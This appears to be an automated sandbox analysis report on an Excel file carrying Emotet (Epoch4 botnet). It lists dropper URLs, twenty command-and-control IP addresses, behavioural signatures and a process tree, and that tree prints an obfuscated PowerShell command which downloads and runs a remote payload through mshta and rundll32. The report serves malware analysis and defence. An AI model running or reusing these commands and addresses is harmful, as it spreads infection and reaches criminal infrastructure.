Analysis

  • max time kernel
    117s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28/01/2022, 22:27

General

  • Target
    tmpi1x7tmko.xls
  • Size 90KB
  • Sample220128-2c4qfsfber
  • SHA256 564f7e048e9f36d160b73e8f594194f6e40ddaf2b0da5933a9ea71a2e51dc0cf
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/cc/vv/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/cc/vv/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 160.16.102.168:80

  • 131.100.24.231:80

  • 200.17.134.35:7080

  • 207.38.84.195:8080

  • 212.237.56.116:7080

  • 58.227.42.236:80

  • 104.251.214.46:8080

  • 158.69.222.101:443

  • 192.254.71.210:443

  • 46.55.222.11:443

  • 45.118.135.203:7080

  • 107.182.225.142:8080

  • 103.75.201.2:443

  • 104.168.155.129:8080

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 110.232.117.186:8080

  • 45.142.114.231:8080

  • 41.76.108.46:8080

  • 203.114.109.124:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpi1x7tmko.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:956
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c mshta http://91.240.118.172/cc/vv/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:996
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.172/cc/vv/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:860
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/cc/vv/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1768
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll ssAAqq
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1708
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll ssAAqq
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:964
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:540
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tnjlx\phuwc.nra",etqkGoqk
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:968
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tnjlx\phuwc.nra",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:288

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/288-98-0x0000000000200000-0x0000000000225000-memory.dmp

        memory/288-118-0x0000000003011000-0x0000000003032000-memory.dmp

        memory/288-117-0x0000000002BE0000-0x0000000002C05000-memory.dmp

        memory/288-116-0x0000000002BE1000-0x0000000002C02000-memory.dmp

        memory/288-114-0x0000000002AE0000-0x0000000002B05000-memory.dmp

        memory/288-112-0x0000000002A40000-0x0000000002A65000-memory.dmp

        memory/288-110-0x0000000002980000-0x00000000029A5000-memory.dmp

        memory/288-106-0x0000000002500000-0x0000000002525000-memory.dmp

        memory/288-104-0x0000000002090000-0x00000000020B5000-memory.dmp

        memory/540-84-0x00000000004C0000-0x00000000004E5000-memory.dmp

        memory/540-86-0x0000000002350000-0x0000000002375000-memory.dmp

        memory/540-82-0x0000000000460000-0x0000000000485000-memory.dmp

        memory/956-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/956-119-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/956-56-0x00000000718F1000-0x00000000718F3000-memory.dmp

        memory/956-55-0x000000002FDA1000-0x000000002FDA4000-memory.dmp

        memory/956-58-0x0000000076B81000-0x0000000076B83000-memory.dmp

        memory/964-73-0x0000000000220000-0x0000000000245000-memory.dmp

        memory/968-95-0x0000000000820000-0x0000000000845000-memory.dmp

        memory/1768-66-0x0000000004660000-0x00000000046A3000-memory.dmp

        memory/1768-63-0x0000000002130000-0x0000000002131000-memory.dmp

        memory/1768-64-0x0000000002131000-0x0000000002132000-memory.dmp

        memory/1768-65-0x0000000002132000-0x0000000002134000-memory.dmp